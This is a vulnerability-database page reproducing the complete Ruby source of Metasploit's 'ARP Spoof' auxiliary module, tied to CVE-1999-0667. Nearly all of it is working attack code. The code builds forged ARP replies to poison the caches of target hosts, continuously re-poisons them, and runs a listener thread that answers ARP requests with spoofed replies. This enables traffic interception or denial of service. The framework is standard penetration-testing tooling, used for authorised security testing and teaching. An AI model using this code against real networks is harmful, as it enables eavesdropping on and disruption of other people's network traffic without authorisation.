ARP Spoof
🗓️ 22 Dec 1999 00:00:00Reported by amaloteaux <[email protected]>Type
metasploit🔗 www.rapid7.com👁 70 Views
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Capture
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'ARP Spoof',
'Description' => %q{
Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
},
'Author' => [
'amaloteaux', # msf rewrite
# tons of people
],
'License' => MSF_LICENSE,
'References' => [
['OSVDB', '11169'],
['CVE', '1999-0667'],
['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
],
'DisclosureDate' => '1999-12-22', # osvdb date
'Notes' => {
'Stability' => [OS_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options([
OptString.new('SHOSTS', [true, 'Spoofed IP addresses']),
OptString.new('SMAC', [false, 'Spoofed MAC address']),
OptString.new('DHOSTS', [true, 'Target IP addresses']),
OptString.new('INTERFACE', [false, 'The name of the interface']),
OptBool.new('BIDIRECTIONAL', [true, 'Spoof also the source with the destination', false]),
OptBool.new('AUTO_ADD', [true, 'Auto add new host when discovered by the listener', false]),
OptBool.new('LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
])
register_advanced_options([
OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),
OptInt.new('PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
# This mode will generate address IP conflict pop up on most systems
OptBool.new('BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
])
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
end
def run
open_pcap({ 'SNAPLEN' => 68, 'FILTER' => 'arp[6:2] == 0x0002' })
@netifaces = true
if !netifaces_implemented?
print_error('WARNING : Pcaprub is not up-to-date, some functionality will not be available')
@netifaces = false
end
@spoofing = false
# The local dst (and src) cache(s)
@dsthosts_cache = {}
@srchosts_cache = {}
# Some additional caches for autoadd feature
if datastore['AUTO_ADD']
@dsthosts_autoadd_cache = {}
if datastore['BIDIRECTIONAL']
@srchosts_autoadd_cache = {}
end
end
begin
@interface = datastore['INTERFACE'] || Pcap.lookupdev
# This is needed on windows cause we send interface directly to Pcap functions
@interface = get_interface_guid(@interface)
@smac = datastore['SMAC']
@smac ||= get_mac(@interface) if @netifaces
raise 'SMAC is not defined and can not be guessed' unless @smac
raise 'Source MAC is not in correct format' unless is_mac?(@smac)
@sip = datastore['LOCALSIP']
@sip ||= get_ipv4_addr(@interface) if @netifaces
raise 'LOCALSIP is not defined and can not be guessed' unless @sip
raise 'LOCALSIP is not an ipv4 address' unless Rex::Socket.is_ipv4?(@sip)
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
@shosts = []
if datastore['BIDIRECTIONAL']
shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) && (shost != @sip) then @shosts.push shost end }
else
shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end }
end
if datastore['BROADCAST']
broadcast_spoof
else
arp_poisoning
end
rescue StandardError => e
print_error(e.message)
ensure
if datastore['LISTENER'] && @listener
@listener.kill
end
if capture && @spoofing && !datastore['BROADCAST']
print_status('RE-ARPing the victims...')
3.times do
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
next unless shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
else
@shosts.each do |shost|
next unless shost != dhost
vprint_status("Sending arp request for #{shost} to #{dhost}")
request = buildprobe(dhost, dmac, shost)
inject(request)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end
next unless datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
next unless shost != dhost
vprint_status("Sending arp packet for #{dhost} to #{shost}")
reply = buildreply(dhost, dmac, shost, smac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end
end
close_pcap
end
end
def broadcast_spoof
print_status('ARP poisoning in progress (broadcast)...')
loop do
@shosts.each do |shost|
vprint_status("Sending arp packet for #{shost} address")
reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end
def arp_poisoning
lsmac = datastore['LOCALSMAC'] || @smac
raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
@dhosts = []
dhosts_range.each { |dhost| if Rex::Socket.is_ipv4?(dhost) && (dhost != @sip) then @dhosts.push(dhost) end }
# Build the local dest hosts cache
print_status('Building the destination hosts cache...')
@dhosts.each do |dhost|
vprint_status("Sending arp packet to #{dhost}")
probe = buildprobe(@sip, lsmac, dhost)
inject(probe)
while (reply = getreply)
next if !reply.is_arp?
# Without this check any arp request would be added to the cache
next unless @dhosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
# Wait some few seconds for last packets
etime = Time.now.to_f + datastore['TIMEOUT']
while (Time.now.to_f < etime)
while (reply = getreply)
next if !reply.is_arp?
next unless @dhosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
Kernel.select(nil, nil, nil, 0.50)
end
raise 'No hosts found' if @dsthosts_cache.empty?
# Build the local src hosts cache
if datastore['BIDIRECTIONAL']
print_status('Building the source hosts cache for unknown source hosts...')
@shosts.each do |shost|
if @dsthosts_cache.key? shost
vprint_status("Adding #{shost} from destination cache")
@srchosts_cache[shost] = @dsthosts_cache[shost]
next
end
vprint_status("Sending arp packet to #{shost}")
probe = buildprobe(@sip, lsmac, shost)
inject(probe)
while (reply = getreply)
next if !reply.is_arp?
next unless @shosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
# Wait some few seconds for last packets
etime = Time.now.to_f + datastore['TIMEOUT']
while (Time.now.to_f < etime)
while (reply = getreply)
next if !reply.is_arp?
next unless @shosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
Kernel.select(nil, nil, nil, 0.50)
end
raise 'No hosts found' if @srchosts_cache.empty?
end
if datastore['AUTO_ADD']
@mutex_cache = Mutex.new
end
# Start the listener
if datastore['LISTENER']
start_listener(@dsthosts_cache, @srchosts_cache)
end
# Do the job until user interrupt it
print_status('ARP poisoning in progress...')
@spoofing = true
loop do
if datastore['AUTO_ADD']
@mutex_cache.lock
if !@dsthosts_autoadd_cache.empty?
@dsthosts_cache.merge!(@dsthosts_autoadd_cache)
@dsthosts_autoadd_cache = {}
end
if datastore['BIDIRECTIONAL'] && @srchosts_autoadd_cache.length > (0)
@srchosts_cache.merge!(@srchosts_autoadd_cache)
@srchosts_autoadd_cache = {}
end
@mutex_cache.unlock
end
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
@srchosts_cache[shost]
next unless shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, @smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
else
@shosts.each do |shost|
next unless shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, @smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end
next unless datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
@dsthosts_cache.keys.sort.each do |dhost|
@dsthosts_cache[dhost]
next unless shost != dhost
vprint_status("Sending arp packet for #{dhost} to #{shost}")
reply = buildreply(dhost, @smac, shost, smac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end
end
def is_mac?(mac)
if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
else
false end
end
def buildprobe(shost, smac, dhost)
p = PacketFu::ARPPacket.new
p.eth_saddr = smac
p.eth_daddr = 'ff:ff:ff:ff:ff:ff'
p.arp_opcode = 1
p.arp_daddr_mac = p.eth_daddr
p.arp_saddr_mac = p.eth_saddr
p.arp_saddr_ip = shost
p.arp_daddr_ip = dhost
p
end
def buildreply(shost, smac, dhost, dmac)
p = PacketFu::ARPPacket.new
p.eth_saddr = smac
p.eth_daddr = dmac
p.arp_opcode = 2 # ARP Reply
p.arp_daddr_mac = p.eth_daddr
p.arp_saddr_mac = p.eth_saddr
p.arp_saddr_ip = shost
p.arp_daddr_ip = dhost
p
end
def getreply
pkt_bytes = capture.next
return if !pkt_bytes
pkt = PacketFu::Packet.parse(pkt_bytes)
return unless pkt.is_arp?
return unless pkt.arp_opcode == 2
pkt
end
def start_listener(dsthosts_cache, srchosts_cache)
if datastore['BIDIRECTIONAL']
thread_args = { BIDIRECTIONAL: true, dhosts: dsthosts_cache.dup, shosts: srchosts_cache.dup }
else
thread_args = { BIDIRECTIONAL: false, dhosts: dsthosts_cache.dup, shosts: @shosts.dup }
end
# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
thread_args[:AUTO_ADD] = datastore['AUTO_ADD']
thread_args[:localip] = @sip.dup
@listener = Thread.new(thread_args) do |args|
# one more local copy
liste_src_ips = []
if args[:BIDIRECTIONAL]
args[:shosts].each_key { |address| liste_src_ips.push address }
else
args[:shosts].each { |address| liste_src_ips.push address }
end
liste_dst_ips = []
args[:dhosts].each_key { |address| liste_dst_ips.push address }
localip = args[:localip]
listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
listener_capture.setfilter('arp[6:2] == 0x0001')
loop do
pkt_bytes = listener_capture.next
next unless pkt_bytes
pkt = PacketFu::Packet.parse(pkt_bytes)
if pkt.is_arp? && pkt.arp_opcode == (1)
# check if the source ip is in the dest hosts
if (liste_dst_ips.include?(pkt.arp_saddr_ip) && liste_src_ips.include?(pkt.arp_daddr_ip)) ||
(args[:BIDIRECTIONAL] && liste_dst_ips.include?(pkt.arp_daddr_ip) && liste_src_ips.include?(pkt.arp_saddr_ip))
vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
3.times { listener_capture.inject(reply.to_s) }
elsif args[:AUTO_ADD]
if @dhosts.include?(pkt.arp_saddr_ip) && !liste_dst_ips.include?(pkt.arp_saddr_ip) &&
(pkt.arp_saddr_ip != localip)
@mutex_cache.lock
print_status("#{pkt.arp_saddr_ip} appears to be up.")
@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
liste_dst_ips.push pkt.arp_saddr_ip
@mutex_cache.unlock
elsif args[:BIDIRECTIONAL] && @shosts.include?(pkt.arp_saddr_ip) &&
!liste_src_ips.include?(pkt.arp_saddr_ip) && (pkt.arp_saddr_ip != localip)
@mutex_cache.lock
print_status("#{pkt.arp_saddr_ip} appears to be up.")
@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
liste_src_ips.push pkt.arp_saddr_ip
@mutex_cache.unlock
end
end
end
end
rescue StandardError => e
print_error("Listener Error: #{e.message}")
print_error('Listener Error: Listener is stopped')
end
@listener.abort_on_exception = true
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Dec 1999 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.13641